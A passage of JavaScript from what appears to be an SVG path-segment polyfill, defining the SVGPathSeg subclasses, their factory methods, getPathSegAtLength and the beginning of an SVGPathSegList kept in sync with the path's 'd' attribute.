this._y; } window.SVGPathSegMovetoAbs.prototype.clone = function () { return new window.SVGPathSegMovetoAbs(undefined, this._x, this._y); } Object.defineProperty(window.SVGPathSegMovetoAbs.prototype, "x", { get: function () { return this._x; }, set: function (x) { this._x = x; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegMovetoAbs.prototype, "y", { get: function () { return this._y; }, set: function (y) { this._y = y; this._segmentChanged(); }, enumerable: true }); window.SVGPathSegMovetoRel = function (owningPathSegList, x, y) { window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_MOVETO_REL, "m", owningPathSegList); this._x = x; this._y = y; } window.SVGPathSegMovetoRel.prototype = Object.create(window.SVGPathSeg.prototype); window.SVGPathSegMovetoRel.prototype.toString = function () { return "[object SVGPathSegMovetoRel]"; } window.SVGPathSegMovetoRel.prototype._asPathString = function () { return this.pathSegTypeAsLetter + " " + this._x + " " + this._y; } window.SVGPathSegMovetoRel.prototype.clone = function () { return new window.SVGPathSegMovetoRel(undefined, this._x, this._y); } Object.defineProperty(window.SVGPathSegMovetoRel.prototype, "x", { get: function () { return this._x; }, set: function (x) { this._x = x; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegMovetoRel.prototype, "y", { get: function () { return this._y; }, set: function (y) { this._y = y; this._segmentChanged(); }, enumerable: true }); window.SVGPathSegLinetoAbs = function (owningPathSegList, x, y) { window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_LINETO_ABS, "L", owningPathSegList); this._x = x; this._y = y; } window.SVGPathSegLinetoAbs.prototype = Object.create(window.SVGPathSeg.prototype); window.SVGPathSegLinetoAbs.prototype.toString = function () { return "[object SVGPathSegLinetoAbs]"; } window.SVGPathSegLinetoAbs.prototype._asPathString = function () { return this.pathSegTypeAsLetter + " " + this._x + " " + this._y; } window.SVGPathSegLinetoAbs.prototype.clone = function () { return new window.SVGPathSegLinetoAbs(undefined, this._x, this._y); } Object.defineProperty(window.SVGPathSegLinetoAbs.prototype, "x", { get: function () { return this._x; }, set: function (x) { this._x = x; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegLinetoAbs.prototype, "y", { get: function () { return this._y; }, set: function (y) { this._y = y; this._segmentChanged(); }, enumerable: true }); window.SVGPathSegLinetoRel = function (owningPathSegList, x, y) { window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_LINETO_REL, "l", owningPathSegList); this._x = x; this._y = y; } window.SVGPathSegLinetoRel.prototype = Object.create(window.SVGPathSeg.prototype); window.SVGPathSegLinetoRel.prototype.toString = function () { return "[object SVGPathSegLinetoRel]"; } window.SVGPathSegLinetoRel.prototype._asPathString = function () { return this.pathSegTypeAsLetter + " " + this._x + " " + this._y; } window.SVGPathSegLinetoRel.prototype.clone = function () { return new window.SVGPathSegLinetoRel(undefined, this._x, this._y); } Object.defineProperty(window.SVGPathSegLinetoRel.prototype, "x", { get: function () { return this._x; }, set: function (x) { this._x = x; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegLinetoRel.prototype, "y", { get: function () { return this._y; }, set: function (y) { this._y = y; this._segmentChanged(); }, enumerable: true }); window.SVGPathSegCurvetoCubicAbs = function (owningPathSegList, x, y, x1, y1, x2, y2) { window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_CURVETO_CUBIC_ABS, "C", owningPathSegList); this._x = x; this._y = y; this._x1 = x1; this._y1 = y1; this._x2 = x2; this._y2 = y2; } window.SVGPathSegCurvetoCubicAbs.prototype = Object.create(window.SVGPathSeg.prototype); window.SVGPathSegCurvetoCubicAbs.prototype.toString = function () { return "[object SVGPathSegCurvetoCubicAbs]"; } window.SVGPathSegCurvetoCubicAbs.prototype._asPathString = function () { return this.pathSegTypeAsLetter + " " + this._x1 + " " + this._y1 + " " + this._x2 + " " + this._y2 + " " + this._x + " " + this._y; } window.SVGPathSegCurvetoCubicAbs.prototype.clone = function () { return new window.SVGPathSegCurvetoCubicAbs(undefined, this._x, this._y, this._x1, this._y1, this._x2, this._y2); } Object.defineProperty(window.SVGPathSegCurvetoCubicAbs.prototype, "x", { get: function () { return this._x; }, set: function (x) { this._x = x; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegCurvetoCubicAbs.prototype, "y", { get: function () { return this._y; }, set: function (y) { this._y = y; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegCurvetoCubicAbs.prototype, "x1", { get: function () { return this._x1; }, set: function (x1) { this._x1 = x1; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegCurvetoCubicAbs.prototype, "y1", { get: function () { return this._y1; }, set: function (y1) { this._y1 = y1; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegCurvetoCubicAbs.prototype, "x2", { get: function () { return this._x2; }, set: function (x2) { this._x2 = x2; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegCurvetoCubicAbs.prototype, "y2", { get: function () { return this._y2; }, set: function (y2) { this._y2 = y2; this._segmentChanged(); }, enumerable: true }); window.SVGPathSegCurvetoCubicRel = function (owningPathSegList, x, y, x1, y1, x2, y2) { window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_CURVETO_CUBIC_REL, "c", owningPathSegList); this._x = x; this._y = y; this._x1 = x1; this._y1 = y1; this._x2 = x2; this._y2 = y2; } window.SVGPathSegCurvetoCubicRel.prototype = Object.create(window.SVGPathSeg.prototype); window.SVGPathSegCurvetoCubicRel.prototype.toString = function () { return "[object SVGPathSegCurvetoCubicRel]"; } window.SVGPathSegCurvetoCubicRel.prototype._asPathString = function () { return this.pathSegTypeAsLetter + " " + this._x1 + " " + this._y1 + " " + this._x2 + " " + this._y2 + " " + this._x + " " + this._y; } window.SVGPathSegCurvetoCubicRel.prototype.clone = function () { return new window.SVGPathSegCurvetoCubicRel(undefined, this._x, this._y, this._x1, this._y1, this._x2, this._y2); } Object.defineProperty(window.SVGPathSegCurvetoCubicRel.prototype, "x", { get: function () { return this._x; }, set: function (x) { this._x = x; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegCurvetoCubicRel.prototype, "y", { get: function () { return this._y; }, set: function (y) { this._y = y; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegCurvetoCubicRel.prototype, "x1", { get: function () { return this._x1; }, set: function (x1) { this._x1 = x1; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegCurvetoCubicRel.prototype, "y1", { get: function () { return this._y1; }, set: function (y1) { this._y1 = y1; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegCurvetoCubicRel.prototype, "x2", { get: function () { return this._x2; }, set: function (x2) { this._x2 = x2; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegCurvetoCubicRel.prototype, "y2", { get: function () { return this._y2; }, set: function (y2) { this._y2 = y2; this._segmentChanged(); }, enumerable: true }); window.SVGPathSegCurvetoQuadraticAbs = function (owningPathSegList, x, y, x1, y1) { window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_CURVETO_QUADRATIC_ABS, "Q", owningPathSegList); this._x = x; this._y = y; this._x1 = x1; this._y1 = y1; } window.SVGPathSegCurvetoQuadraticAbs.prototype = Object.create(window.SVGPathSeg.prototype); window.SVGPathSegCurvetoQuadraticAbs.prototype.toString = function () { return "[object SVGPathSegCurvetoQuadraticAbs]"; } window.SVGPathSegCurvetoQuadraticAbs.prototype._asPathString = function () { return this.pathSegTypeAsLetter + " " + this._x1 + " " + this._y1 + " " + this._x + " " + this._y; } window.SVGPathSegCurvetoQuadraticAbs.prototype.clone = function () { return new window.SVGPathSegCurvetoQuadraticAbs(undefined, this._x, this._y, this._x1, this._y1); } Object.defineProperty(window.SVGPathSegCurvetoQuadraticAbs.prototype, "x", { get: function () { return this._x; }, set: function (x) { this._x = x; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegCurvetoQuadraticAbs.prototype, "y", { get: function () { return this._y; }, set: function (y) { this._y = y; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegCurvetoQuadraticAbs.prototype, "x1", { get: function () { return this._x1; }, set: function (x1) { this._x1 = x1; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegCurvetoQuadraticAbs.prototype, "y1", { get: function () { return this._y1; }, set: function (y1) { this._y1 = y1; this._segmentChanged(); }, enumerable: true }); window.SVGPathSegCurvetoQuadraticRel = function (owningPathSegList, x, y, x1, y1) { window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_CURVETO_QUADRATIC_REL, "q", owningPathSegList); this._x = x; this._y = y; this._x1 = x1; this._y1 = y1; } window.SVGPathSegCurvetoQuadraticRel.prototype = Object.create(window.SVGPathSeg.prototype); window.SVGPathSegCurvetoQuadraticRel.prototype.toString = function () { return "[object SVGPathSegCurvetoQuadraticRel]"; } window.SVGPathSegCurvetoQuadraticRel.prototype._asPathString = function () { return this.pathSegTypeAsLetter + " " + this._x1 + " " + this._y1 + " " + this._x + " " + this._y; } window.SVGPathSegCurvetoQuadraticRel.prototype.clone = function () { return new window.SVGPathSegCurvetoQuadraticRel(undefined, this._x, this._y, this._x1, this._y1); } Object.defineProperty(window.SVGPathSegCurvetoQuadraticRel.prototype, "x", { get: function () { return this._x; }, set: function (x) { this._x = x; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegCurvetoQuadraticRel.prototype, "y", { get: function () { return this._y; }, set: function (y) { this._y = y; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegCurvetoQuadraticRel.prototype, "x1", { get: function () { return this._x1; }, set: function (x1) { this._x1 = x1; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegCurvetoQuadraticRel.prototype, "y1", { get: function () { return this._y1; }, set: function (y1) { this._y1 = y1; this._segmentChanged(); }, enumerable: true }); window.SVGPathSegArcAbs = function (owningPathSegList, x, y, r1, r2, angle, largeArcFlag, sweepFlag) { window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_ARC_ABS, "A", owningPathSegList); this._x = x; this._y = y; this._r1 = r1; this._r2 = r2; this._angle = angle; this._largeArcFlag = largeArcFlag; this._sweepFlag = sweepFlag; } window.SVGPathSegArcAbs.prototype = Object.create(window.SVGPathSeg.prototype); window.SVGPathSegArcAbs.prototype.toString = function () { return "[object SVGPathSegArcAbs]"; } window.SVGPathSegArcAbs.prototype._asPathString = function () { return this.pathSegTypeAsLetter + " " + this._r1 + " " + this._r2 + " " + this._angle + " " + (this._largeArcFlag ? "1" : "0") + " " + (this._sweepFlag ? "1" : "0") + " " + this._x + " " + this._y; } window.SVGPathSegArcAbs.prototype.clone = function () { return new window.SVGPathSegArcAbs(undefined, this._x, this._y, this._r1, this._r2, this._angle, this._largeArcFlag, this._sweepFlag); } Object.defineProperty(window.SVGPathSegArcAbs.prototype, "x", { get: function () { return this._x; }, set: function (x) { this._x = x; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegArcAbs.prototype, "y", { get: function () { return this._y; }, set: function (y) { this._y = y; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegArcAbs.prototype, "r1", { get: function () { return this._r1; }, set: function (r1) { this._r1 = r1; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegArcAbs.prototype, "r2", { get: function () { return this._r2; }, set: function (r2) { this._r2 = r2; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegArcAbs.prototype, "angle", { get: function () { return this._angle; }, set: function (angle) { this._angle = angle; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegArcAbs.prototype, "largeArcFlag", { get: function () { return this._largeArcFlag; }, set: function (largeArcFlag) { this._largeArcFlag = largeArcFlag; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegArcAbs.prototype, "sweepFlag", { get: function () { return this._sweepFlag; }, set: function (sweepFlag) { this._sweepFlag = sweepFlag; this._segmentChanged(); }, enumerable: true }); window.SVGPathSegArcRel = function (owningPathSegList, x, y, r1, r2, angle, largeArcFlag, sweepFlag) { window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_ARC_REL, "a", owningPathSegList); this._x = x; this._y = y; this._r1 = r1; this._r2 = r2; this._angle = angle; this._largeArcFlag = largeArcFlag; this._sweepFlag = sweepFlag; } window.SVGPathSegArcRel.prototype = Object.create(window.SVGPathSeg.prototype); window.SVGPathSegArcRel.prototype.toString = function () { return "[object SVGPathSegArcRel]"; } window.SVGPathSegArcRel.prototype._asPathString = function () { return this.pathSegTypeAsLetter + " " + this._r1 + " " + this._r2 + " " + this._angle + " " + (this._largeArcFlag ? "1" : "0") + " " + (this._sweepFlag ? "1" : "0") + " " + this._x + " " + this._y; } window.SVGPathSegArcRel.prototype.clone = function () { return new window.SVGPathSegArcRel(undefined, this._x, this._y, this._r1, this._r2, this._angle, this._largeArcFlag, this._sweepFlag); } Object.defineProperty(window.SVGPathSegArcRel.prototype, "x", { get: function () { return this._x; }, set: function (x) { this._x = x; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegArcRel.prototype, "y", { get: function () { return this._y; }, set: function (y) { this._y = y; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegArcRel.prototype, "r1", { get: function () { return this._r1; }, set: function (r1) { this._r1 = r1; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegArcRel.prototype, "r2", { get: function () { return this._r2; }, set: function (r2) { this._r2 = r2; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegArcRel.prototype, "angle", { get: function () { return this._angle; }, set: function (angle) { this._angle = angle; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegArcRel.prototype, "largeArcFlag", { get: function () { return this._largeArcFlag; }, set: function (largeArcFlag) { this._largeArcFlag = largeArcFlag; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegArcRel.prototype, "sweepFlag", { get: function () { return this._sweepFlag; }, set: function (sweepFlag) { this._sweepFlag = sweepFlag; this._segmentChanged(); }, enumerable: true }); window.SVGPathSegLinetoHorizontalAbs = function (owningPathSegList, x) { window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_LINETO_HORIZONTAL_ABS, "H", owningPathSegList); this._x = x; } window.SVGPathSegLinetoHorizontalAbs.prototype = Object.create(window.SVGPathSeg.prototype); window.SVGPathSegLinetoHorizontalAbs.prototype.toString = function () { return "[object SVGPathSegLinetoHorizontalAbs]"; } window.SVGPathSegLinetoHorizontalAbs.prototype._asPathString = function () { return this.pathSegTypeAsLetter + " " + this._x; } window.SVGPathSegLinetoHorizontalAbs.prototype.clone = function () { return new window.SVGPathSegLinetoHorizontalAbs(undefined, this._x); } Object.defineProperty(window.SVGPathSegLinetoHorizontalAbs.prototype, "x", { get: function () { return this._x; }, set: function (x) { this._x = x; this._segmentChanged(); }, enumerable: true }); window.SVGPathSegLinetoHorizontalRel = function (owningPathSegList, x) { window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_LINETO_HORIZONTAL_REL, "h", owningPathSegList); this._x = x; } window.SVGPathSegLinetoHorizontalRel.prototype = Object.create(window.SVGPathSeg.prototype); window.SVGPathSegLinetoHorizontalRel.prototype.toString = function () { return "[object SVGPathSegLinetoHorizontalRel]"; } window.SVGPathSegLinetoHorizontalRel.prototype._asPathString = function () { return this.pathSegTypeAsLetter + " " + this._x; } window.SVGPathSegLinetoHorizontalRel.prototype.clone = function () { return new window.SVGPathSegLinetoHorizontalRel(undefined, this._x); } Object.defineProperty(window.SVGPathSegLinetoHorizontalRel.prototype, "x", { get: function () { return this._x; }, set: function (x) { this._x = x; this._segmentChanged(); }, enumerable: true }); window.SVGPathSegLinetoVerticalAbs = function (owningPathSegList, y) { window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_LINETO_VERTICAL_ABS, "V", owningPathSegList); this._y = y; } window.SVGPathSegLinetoVerticalAbs.prototype = Object.create(window.SVGPathSeg.prototype); window.SVGPathSegLinetoVerticalAbs.prototype.toString = function () { return "[object SVGPathSegLinetoVerticalAbs]"; } window.SVGPathSegLinetoVerticalAbs.prototype._asPathString = function () { return this.pathSegTypeAsLetter + " " + this._y; } window.SVGPathSegLinetoVerticalAbs.prototype.clone = function () { return new window.SVGPathSegLinetoVerticalAbs(undefined, this._y); } Object.defineProperty(window.SVGPathSegLinetoVerticalAbs.prototype, "y", { get: function () { return this._y; }, set: function (y) { this._y = y; this._segmentChanged(); }, enumerable: true }); window.SVGPathSegLinetoVerticalRel = function (owningPathSegList, y) { window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_LINETO_VERTICAL_REL, "v", owningPathSegList); this._y = y; } window.SVGPathSegLinetoVerticalRel.prototype = Object.create(window.SVGPathSeg.prototype); window.SVGPathSegLinetoVerticalRel.prototype.toString = function () { return "[object SVGPathSegLinetoVerticalRel]"; } window.SVGPathSegLinetoVerticalRel.prototype._asPathString = function () { return this.pathSegTypeAsLetter + " " + this._y; } window.SVGPathSegLinetoVerticalRel.prototype.clone = function () { return new window.SVGPathSegLinetoVerticalRel(undefined, this._y); } Object.defineProperty(window.SVGPathSegLinetoVerticalRel.prototype, "y", { get: function () { return this._y; }, set: function (y) { this._y = y; this._segmentChanged(); }, enumerable: true }); window.SVGPathSegCurvetoCubicSmoothAbs = function (owningPathSegList, x, y, x2, y2) { window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_CURVETO_CUBIC_SMOOTH_ABS, "S", owningPathSegList); this._x = x; this._y = y; this._x2 = x2; this._y2 = y2; } window.SVGPathSegCurvetoCubicSmoothAbs.prototype = Object.create(window.SVGPathSeg.prototype); window.SVGPathSegCurvetoCubicSmoothAbs.prototype.toString = function () { return "[object SVGPathSegCurvetoCubicSmoothAbs]"; } window.SVGPathSegCurvetoCubicSmoothAbs.prototype._asPathString = function () { return this.pathSegTypeAsLetter + " " + this._x2 + " " + this._y2 + " " + this._x + " " + this._y; } window.SVGPathSegCurvetoCubicSmoothAbs.prototype.clone = function () { return new window.SVGPathSegCurvetoCubicSmoothAbs(undefined, this._x, this._y, this._x2, this._y2); } Object.defineProperty(window.SVGPathSegCurvetoCubicSmoothAbs.prototype, "x", { get: function () { return this._x; }, set: function (x) { this._x = x; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegCurvetoCubicSmoothAbs.prototype, "y", { get: function () { return this._y; }, set: function (y) { this._y = y; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegCurvetoCubicSmoothAbs.prototype, "x2", { get: function () { return this._x2; }, set: function (x2) { this._x2 = x2; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegCurvetoCubicSmoothAbs.prototype, "y2", { get: function () { return this._y2; }, set: function (y2) { this._y2 = y2; this._segmentChanged(); }, enumerable: true }); window.SVGPathSegCurvetoCubicSmoothRel = function (owningPathSegList, x, y, x2, y2) { window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_CURVETO_CUBIC_SMOOTH_REL, "s", owningPathSegList); this._x = x; this._y = y; this._x2 = x2; this._y2 = y2; } window.SVGPathSegCurvetoCubicSmoothRel.prototype = Object.create(window.SVGPathSeg.prototype); window.SVGPathSegCurvetoCubicSmoothRel.prototype.toString = function () { return "[object SVGPathSegCurvetoCubicSmoothRel]"; } window.SVGPathSegCurvetoCubicSmoothRel.prototype._asPathString = function () { return this.pathSegTypeAsLetter + " " + this._x2 + " " + this._y2 + " " + this._x + " " + this._y; } window.SVGPathSegCurvetoCubicSmoothRel.prototype.clone = function () { return new window.SVGPathSegCurvetoCubicSmoothRel(undefined, this._x, this._y, this._x2, this._y2); } Object.defineProperty(window.SVGPathSegCurvetoCubicSmoothRel.prototype, "x", { get: function () { return this._x; }, set: function (x) { this._x = x; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegCurvetoCubicSmoothRel.prototype, "y", { get: function () { return this._y; }, set: function (y) { this._y = y; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegCurvetoCubicSmoothRel.prototype, "x2", { get: function () { return this._x2; }, set: function (x2) { this._x2 = x2; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegCurvetoCubicSmoothRel.prototype, "y2", { get: function () { return this._y2; }, set: function (y2) { this._y2 = y2; this._segmentChanged(); }, enumerable: true }); window.SVGPathSegCurvetoQuadraticSmoothAbs = function (owningPathSegList, x, y) { window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_CURVETO_QUADRATIC_SMOOTH_ABS, "T", owningPathSegList); this._x = x; this._y = y; } window.SVGPathSegCurvetoQuadraticSmoothAbs.prototype = Object.create(window.SVGPathSeg.prototype); window.SVGPathSegCurvetoQuadraticSmoothAbs.prototype.toString = function () { return "[object SVGPathSegCurvetoQuadraticSmoothAbs]"; } window.SVGPathSegCurvetoQuadraticSmoothAbs.prototype._asPathString = function () { return this.pathSegTypeAsLetter + " " + this._x + " " + this._y; } window.SVGPathSegCurvetoQuadraticSmoothAbs.prototype.clone = function () { return new window.SVGPathSegCurvetoQuadraticSmoothAbs(undefined, this._x, this._y); } Object.defineProperty(window.SVGPathSegCurvetoQuadraticSmoothAbs.prototype, "x", { get: function () { return this._x; }, set: function (x) { this._x = x; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegCurvetoQuadraticSmoothAbs.prototype, "y", { get: function () { return this._y; }, set: function (y) { this._y = y; this._segmentChanged(); }, enumerable: true }); window.SVGPathSegCurvetoQuadraticSmoothRel = function (owningPathSegList, x, y) { window.SVGPathSeg.call(this, window.SVGPathSeg.PATHSEG_CURVETO_QUADRATIC_SMOOTH_REL, "t", owningPathSegList); this._x = x; this._y = y; } window.SVGPathSegCurvetoQuadraticSmoothRel.prototype = Object.create(window.SVGPathSeg.prototype); window.SVGPathSegCurvetoQuadraticSmoothRel.prototype.toString = function () { return "[object SVGPathSegCurvetoQuadraticSmoothRel]"; } window.SVGPathSegCurvetoQuadraticSmoothRel.prototype._asPathString = function () { return this.pathSegTypeAsLetter + " " + this._x + " " + this._y; } window.SVGPathSegCurvetoQuadraticSmoothRel.prototype.clone = function () { return new window.SVGPathSegCurvetoQuadraticSmoothRel(undefined, this._x, this._y); } Object.defineProperty(window.SVGPathSegCurvetoQuadraticSmoothRel.prototype, "x", { get: function () { return this._x; }, set: function (x) { this._x = x; this._segmentChanged(); }, enumerable: true }); Object.defineProperty(window.SVGPathSegCurvetoQuadraticSmoothRel.prototype, "y", { get: function () { return this._y; }, set: function (y) { this._y = y; this._segmentChanged(); }, enumerable: true }); // Add createSVGPathSeg* functions to window.SVGPathElement. // Spec: http://www.w3.org/TR/SVG11/single-page.html#paths-Interfacewindow.SVGPathElement. window.SVGPathElement.prototype.createSVGPathSegClosePath = function () { return new window.SVGPathSegClosePath(undefined); } window.SVGPathElement.prototype.createSVGPathSegMovetoAbs = function (x, y) { return new window.SVGPathSegMovetoAbs(undefined, x, y); } window.SVGPathElement.prototype.createSVGPathSegMovetoRel = function (x, y) { return new window.SVGPathSegMovetoRel(undefined, x, y); } window.SVGPathElement.prototype.createSVGPathSegLinetoAbs = function (x, y) { return new window.SVGPathSegLinetoAbs(undefined, x, y); } window.SVGPathElement.prototype.createSVGPathSegLinetoRel = function (x, y) { return new window.SVGPathSegLinetoRel(undefined, x, y); } window.SVGPathElement.prototype.createSVGPathSegCurvetoCubicAbs = function (x, y, x1, y1, x2, y2) { return new window.SVGPathSegCurvetoCubicAbs(undefined, x, y, x1, y1, x2, y2); } window.SVGPathElement.prototype.createSVGPathSegCurvetoCubicRel = function (x, y, x1, y1, x2, y2) { return new window.SVGPathSegCurvetoCubicRel(undefined, x, y, x1, y1, x2, y2); } window.SVGPathElement.prototype.createSVGPathSegCurvetoQuadraticAbs = function (x, y, x1, y1) { return new window.SVGPathSegCurvetoQuadraticAbs(undefined, x, y, x1, y1); } window.SVGPathElement.prototype.createSVGPathSegCurvetoQuadraticRel = function (x, y, x1, y1) { return new window.SVGPathSegCurvetoQuadraticRel(undefined, x, y, x1, y1); } window.SVGPathElement.prototype.createSVGPathSegArcAbs = function (x, y, r1, r2, angle, largeArcFlag, sweepFlag) { return new window.SVGPathSegArcAbs(undefined, x, y, r1, r2, angle, largeArcFlag, sweepFlag); } window.SVGPathElement.prototype.createSVGPathSegArcRel = function (x, y, r1, r2, angle, largeArcFlag, sweepFlag) { return new window.SVGPathSegArcRel(undefined, x, y, r1, r2, angle, largeArcFlag, sweepFlag); } window.SVGPathElement.prototype.createSVGPathSegLinetoHorizontalAbs = function (x) { return new window.SVGPathSegLinetoHorizontalAbs(undefined, x); } window.SVGPathElement.prototype.createSVGPathSegLinetoHorizontalRel = function (x) { return new window.SVGPathSegLinetoHorizontalRel(undefined, x); } window.SVGPathElement.prototype.createSVGPathSegLinetoVerticalAbs = function (y) { return new window.SVGPathSegLinetoVerticalAbs(undefined, y); } window.SVGPathElement.prototype.createSVGPathSegLinetoVerticalRel = function (y) { return new window.SVGPathSegLinetoVerticalRel(undefined, y); } window.SVGPathElement.prototype.createSVGPathSegCurvetoCubicSmoothAbs = function (x, y, x2, y2) { return new window.SVGPathSegCurvetoCubicSmoothAbs(undefined, x, y, x2, y2); } window.SVGPathElement.prototype.createSVGPathSegCurvetoCubicSmoothRel = function (x, y, x2, y2) { return new window.SVGPathSegCurvetoCubicSmoothRel(undefined, x, y, x2, y2); } window.SVGPathElement.prototype.createSVGPathSegCurvetoQuadraticSmoothAbs = function (x, y) { return new window.SVGPathSegCurvetoQuadraticSmoothAbs(undefined, x, y); } window.SVGPathElement.prototype.createSVGPathSegCurvetoQuadraticSmoothRel = function (x, y) { return new window.SVGPathSegCurvetoQuadraticSmoothRel(undefined, x, y); } if (!("getPathSegAtLength" in window.SVGPathElement.prototype)) { // Add getPathSegAtLength to SVGPathElement. // Spec: https://www.w3.org/TR/SVG11/single-page.html#paths-__svg__SVGPathElement__getPathSegAtLength // This polyfill requires SVGPathElement.getTotalLength to implement the distance-along-a-path algorithm. window.SVGPathElement.prototype.getPathSegAtLength = function (distance) { if (distance === undefined || !isFinite(distance)) throw "Invalid arguments."; var measurementElement = document.createElementNS("http://www.w3.org/2000/svg", "path"); measurementElement.setAttribute("d", this.getAttribute("d")); var lastPathSegment = measurementElement.pathSegList.numberOfItems - 1; // If the path is empty, return 0. if (lastPathSegment <= 0) return 0; do { measurementElement.pathSegList.removeItem(lastPathSegment); if (distance > measurementElement.getTotalLength()) break; lastPathSegment--; } while (lastPathSegment > 0); return lastPathSegment; } } } if (!("SVGPathSegList" in window)) { // Spec: http://www.w3.org/TR/SVG11/single-page.html#paths-InterfaceSVGPathSegList window.SVGPathSegList = function (pathElement) { this._pathElement = pathElement; this._list = this._parsePath(this._pathElement.getAttribute("d")); // Use a MutationObserver to catch changes to the path's "d" attribute. this._mutationObserverConfig = { "attributes": true, "attributeFilter": ["d"] }; this._pathElementMutationObserver = new MutationObserver(this._updateListFromPathMutations.bind(this)); this._pathElementMutationObserver.observe(this._pathElement, this._mutationObserverConfig); } window.SVGPathSegList.prototype.classname = "SVGPathSegList"; Object.defineProperty(window.SVGPathSegList.prototype, "numberOfItems", { get: function () { this._checkPathSynchronizedToList(); return this._list.length; }, enumerable: true }); // Add the pathSegList accessors to window.SVGPathElement. // Spec: http://www.w3.org/TR/SVG11/single-page.html#paths-InterfaceSVGAnimatedPathData Object.defineProperty(window.SVGPathElement.prototype, "pathSegList", { get: function () { if (!this._pathSegList) this._pathSegList = new window.SVGPathSegList(this); return this._pathSegList; }, enumerable: true }); // FIXME: The following are not implemented and simply return window.SVGPathElement.pathSegList. Object.defineProperty(window.SVGPathElement.prototype, "normalizedPathSegList", { get: function () { return this.pathSegList; }, enumerable: true }); Object.defineProperty(window.SVGPathElement.prototype, "animatedPathSegList", { get: function () { return this.pathSegList; }, enumerable: true }); Object.defineProperty(window.SVGPathElement.prototype, "animatedNormalizedPathSegList", { get: function () { return this.pathSegList; }, enumerable: true }); // Process any pending mutations to the path element and update the list as needed. // This should be the first call of all public functions and is needed because // MutationObservers are not synchronous so we can have pending asynchronous mutations. window.SVGPathSegList.prototype._checkPathSynchronizedToList = function () { this._updateListFromPathMutations(this._pathElementMutationObserver.takeRecords()); } window.SVGPathSegList.prototype._updateListFromPathMutations = function (mutationRecords) { if (!this._pathElement) return; var hasPathMutations = false; mutationRecords.forEach(function (record) { if (record.attributeName == "d") hasPathMutations = true; }); if (hasPathMutations) this._list = this._parsePath(this._pathElement.getAttribute("d")); } // Serialize the list and update the path's 'd' attribute. window.SVGPathSegList.prototype._writeListToPath = function () { this._pathElementMutationObserver.disconnect(); this._pathElement.setAttribute("d", window.SVGPathSegList._pathSegArrayAsString(this._list)); this._pathElementMutationObserver.observe(this._pathElement, this._mutationObserverConfig); } // When a path segment changes the list needs to be synchronized back to the path element. window.SVGPathSegList.prototype.segmentChanged = function (pathSeg) { this._writeListToPath(); } window.SVGPathSegList.prototype.clear = function () { this._checkPathSynchronizedToList(); this._list.forEach(function (pathSeg) { pathSeg._owningPathSegList = null; }); this._list = []; this._writeListToPath(); } window.SVGPathSegList.prototype.initialize = function (newItem) { this._checkPathSynchronizedToList(); this._list = [newItem]; newItem._owningPathSegList = this; this._writeListToPath(); return newItem; } window.SVGPathSegList.prototype._checkValidIndex = function (index) { if (isNaN(index) || index < 0 || index >= this.numberOfItems) throw "INDEX_SIZE_ERR"; } window.SVGPathSegList.prototype.getItem = function (index) { 